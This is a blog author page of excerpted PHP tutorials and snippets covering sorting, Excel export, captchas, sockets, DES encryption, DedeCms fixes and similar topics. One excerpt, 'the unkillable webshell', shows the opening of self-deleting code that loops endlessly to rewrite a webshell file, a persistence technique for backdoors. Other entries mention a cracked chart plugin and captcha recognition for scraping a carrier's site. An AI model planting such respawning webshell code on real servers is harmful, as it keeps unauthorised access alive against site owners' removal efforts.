PHP
xm1331305
这个作者很懒,什么都没留下…
展开
-
PHP natsort 用“自然排序”算法对数组排序
boolnatsort ( array &$array )本函数实现了一个和人们通常对字母数字字符串进行排序的方法一样的排序算法并保持原有键/值的关联,这被称为“自然排序”。本算法和通常的计算机字符串排序算法(用于sort())的区别见下面示例。成功时返回 TRUE, 或者在失败时返回 FALSE. <?php$array1 = $array2 = arr原创 2013-07-23 13:27:19 · 1052 阅读 · 0 评论 -
可导出图片的图表插件flash_amcharts破解版
最近由于项目需要有饼图、柱状图、曲线图类的展示,虽然这方面的插件非常的多,特别现在基于Jquery的插件都非常多非常好用,但是项目中还有一个特别的需求就是需要将相关图表图形导出成JPG图片,这样的话Jquery插件就不行了,找了半天终于发现这个好东西,可以轻松导出图片。留下来以备后用。下载地址:http://download.csdn.net/download/xm1331305/原创 2013-07-31 22:55:57 · 1065 阅读 · 0 评论 -
PHPExcel操作简要说明
方法一:特点,简单,省心,<?phpheader("Content-type:application/vnd.ms-excel");header("Content-Disposition:attachment;filename=test_data.xls");$tx='表头'; echo $tx."\n\n"; //输出内容如下: echo "姓名"."\t";转载 2013-08-02 12:41:30 · 621 阅读 · 0 评论 -
PHP一句话实现获取文件夹下的文件
下面这条命令就能实现 遍历你要的目录里面的*.jpg文件存放到$Files里面去PHP代码$Files = glob(‘{*.jpg}’, GLOB_BRACE); 可以用ForEach循环输出PHP代码foreach ($Files as $filename){ echo “<img src=”.$filename.”\n”; }原创 2013-10-09 14:27:07 · 1504 阅读 · 0 评论 -
一段不错的验证码代码
<?php class Imagecode{ private $width ; private $height; private $counts; private $distrubcode; private $fonturl; private $session; function __construct($width = 120,$height = 30,$count转载 2013-11-02 14:11:28 · 944 阅读 · 0 评论 -
PHP读取超大日志文件
打开一个17G的日志文件,都不吃力,除了占cpu之外,内存占用不多,如果直接fopen根本打不开注:它是逐行读取的foreach( glob( ngx_log. "/*.log" ) as $file ) { $log = new SplFileObject($file); foreach( $log as $line ){ $ipnum = getip($line);原创 2013-11-12 09:43:21 · 2755 阅读 · 1 评论 -
PHP的Socket通信之UDP篇
1.创建一简单的UDP服务器原创 2014-08-12 13:41:17 · 23857 阅读 · 6 评论 -
TLV包PHP解析类
<?php/** * * TLV包解析类 * */class Tlv { private $buffer; private $t_len = 4; //T长度 private $l_len = 4; //L长度 private $buf_len =0; //字节流长度 private $buf_a转载 2014-08-12 14:07:02 · 1425 阅读 · 0 评论 -
PHP+MySQL数据库之中文全文检索解决方案
由于MYSQL仅支持英文的全文索引FULLTEXT,不支持中文,因为中文不能像英文那样通过空格来准确的判断单词,而需要通过语义来判断,这就需要我们对中文进行切词。但是我们可以通过另一种方式来曲线解决这一问题。项目需求:1.根据关键词搜索商品,2.搜索结果排序按匹配度降序排列(类似于搜索引擎)一般情况下我们做搜索的时候是对关键词进行分词后,采用LIKE或REGEXP的原创 2014-08-16 14:56:25 · 2295 阅读 · 0 评论 -
杀不死的Webshell
在日常应用中。是否遇到过明明后门都删除完了,可是过一会儿又会出现?感觉就像杀不死一样。。。那么它们是怎么做到的呢?看代码:<?php set_time_limit(0); ignore_user_abort(1); unlink(__FILE__); while(1){ file_put_contents('webshell.php','原创 2016-12-12 14:51:04 · 2706 阅读 · 0 评论 -
验证码识别之中国移动话费查询
最近公司一个客户要求查询其手里的一批电话号的余额。而目前我们公司的移动接口已被收回,所以只能去移动网站抓取了。由于公司觉得自己开发没必要,钱太少,所以所说就花了5000大洋给外包出去做了。今天听说已开发完了,刚好我最近又准备辞职正在交接,又没事做。所以就看看是否也去做个试试。所以就在网上查了一下关于验证码的相关文档依葫芦画瓢,终于将这个功能搞定。中国移动网站的验证码很简单。原创 2013-05-29 14:17:35 · 4506 阅读 · 2 评论 -
PHP 长文章的分页解决办法
感谢作者 yytcpt(无影)这个类解决了带html标签的长文章的分页显示问题。/* * 长文章分页类 * @package cutpage * @author yytcpt(无影) * @version 2008-03-27 */ class cutpage{ var $转载 2013-05-28 11:27:17 · 837 阅读 · 0 评论 -
解决PHP生成UTF-8编码的CSV文件用Excel打开乱码的问题
其实这个问题很久之前遇到过, 应该是没解决, 当时的情况是openoffice打开正常而excel打开不正常, 后来也没解决了, 只能把编码转了.这次又遇到这个问题了, 在网上一番寻找, 在一篇java的文章里找到了原因, 是由于输出的CSV文件中没有BOM.什么是BOM?在UCS 编码中有一个叫做”ZERO WIDTH NO-BREAK SPACE”的字符,它的编码是转载 2013-05-20 09:53:57 · 1108 阅读 · 0 评论 -
像google一样加一个两步动态密码验证
google的两步密码验证出来已经相当一段时间了,相信很多同学都用过,其工作原理是:两步验证为您的 Google 帐户多加了一道安全防线除了用户名和密码外,您还需要输入登录时 Google 通过短信或语音留言向您发送的验证码。实际上这个东西就是类似网银口令卡的东西,但是这个实现起来更为简单,你在google账户开启了两步密码验证以后,你先得正确输入了密码,再拿出手机,查出当前的转载 2012-09-21 16:39:27 · 1521 阅读 · 0 评论 -
入门级的讲讲soap这个php webservice
今天我打算总结下php自带的soap类的使用,总结才有进步。1、通过开放的webservice获取天气预报数据这里通过一个开放的提供soap webservice接口的网站说明下如何根据wsdl(什么是wsdl?)使用php调用现有的soap服务!<?php/** * 从开放的天气预报服务中获得数据 ***/ $c = new SoapClient( 'http://www转载 2012-09-24 10:16:18 · 709 阅读 · 0 评论 -
关于DedeCms友情链接织梦链引起网站访问慢的问题
今天下载了DedeCms v5.7,但是发现在生成首页为HTML或动态浏览首页的时候网站非常的慢。经过分析发现原来DeDeCms中的默认友情链接-织梦链引起的。看到这个就很是不爽了,所以想办法关闭掉它,结果发现后面没有相关开关设置,郁闷。。。。查询发现data\admin\config_update.php文件中有如下代码,即织梦链服务器地址:$updateHost = 'ht原创 2012-09-24 16:36:44 · 939 阅读 · 0 评论 -
修正dedecms无法生成联动类别数据的js文件
因为dedecms 织梦的代码错误,导致不能生成data/enum/*.js文件,导致前台无法调用修正方法为:找到include/enums.fun.php文件函数 function WriteEnumsCache($egroup='') 中有句if(empty($issign)) WriteEnumsJs($egroup);将其修改为/*if(empty($iss原创 2012-10-17 17:05:16 · 565 阅读 · 0 评论 -
DeDeCms的分页处理PHP函数
由于客户的需求,导致不能直接使用DeDecms提供的DataList标签自带的分页,只能改为自己手动处理。所以将DeDecms中Datalist自带的PageList抠出来。由于时间有限只是简单的将其独立出来,并可以用于其他任务PHP网站。。。并修正了原DeDecms获取地址栏参数的Bug<?php //获得当前网址 function GetCurUrl(原创 2012-10-26 11:35:35 · 3051 阅读 · 0 评论 -
将WORD文件转换成HTML文件
最近客户有一个古怪的需求!需要将他们上传的Word文件在浏览器中显示出来。目前考虑想到的几种解决办法为· 用flash浏览器插件显示,如百度百科,豆丁等, 可以使用FlexPaper,· 将Doc文档转换成Pdf, 但是问题又来了,客户端必须要安装 PDF浏览器。· 将Doc文档转换成HTML文件, 代码如下: function word2html($wfil原创 2012-10-25 12:53:09 · 1240 阅读 · 0 评论 -
php调用Image Magick将.PDF文件转换为.JPG文件
一个非常简单的格式转换代码,可以把.PDF文件转换为.JPG文件,代码要起作用,服务器必须要安装Image Magick 扩展。$pdf_file = './pdf/demo.pdf';$save_to = './jpg/demo.jpg'; //make sure that apache has permissions to write in this folder! (转载 2012-11-12 13:05:02 · 2695 阅读 · 0 评论 -
PHP版本DES加密解(对应.net版与JAVA版)
最近由于项目需要,需要与.net,java进行对接,其中有DES加解密这块。发现他们两个的DES并不通用。<?php/** * * DES FOR .NET版本 * @author Administrator * */class DES_NET{ var $key; var $iv; //偏移量 function DES_NE原创 2012-12-21 09:53:46 · 5000 阅读 · 0 评论 -
PHP生成GUID
function create_guid() { $charid = strtoupper(md5(uniqid(mt_rand(), true))); $hyphen = chr(45);// "-" $uuid = chr(123)// "{" .substr($charid, 0, 8).$hyphen .substr($charid, 8, 4).$hyphen .substr转载 2013-01-28 09:57:16 · 4573 阅读 · 0 评论 -
LZW算法PHP实现方法
LZW算法简介字符串和编码的对应关系是在压缩过程中动态生成的,并且隐含在压缩数据中,解压的时候根据表来进行恢复,算是一种无损压缩.根据 Lempel-Ziv-Welch Encoding ,简称 LZW 的压缩算法,用任何一种语言来实现它.LZW压缩算法[1]的基本概念:LZW压缩有三个重要的对象:数据流(CharStream)、编码流(CodeStream)和编译表(String T转载 2013-02-16 09:45:18 · 790 阅读 · 0 评论 -
php导入CSV文件时中文乱码的解决
由于项目所有文件及DB都是用的Utf-8编码格式,在导入CSV文件的时候,部份中文会出现乱码的情况。因为CSV文件采用的GBK编码格式。只需要将文字转一次码即可iconv('GBK','UTF-8',$data);原创 2013-04-25 10:07:42 · 6423 阅读 · 0 评论 -
简单发红包算法。
随机分配X个红包,初始版,暂留在这里笔记。。年后再处理,实际应用中需要结合redis等考虑并发的东西。<?php/*** */class readPack { //总金额 public $sumMoney = 0; //要发的红包个数 public $nums = 0; //单个最小获得红包 public $min = 0;原创 2017-01-22 16:31:44 · 1121 阅读 · 0 评论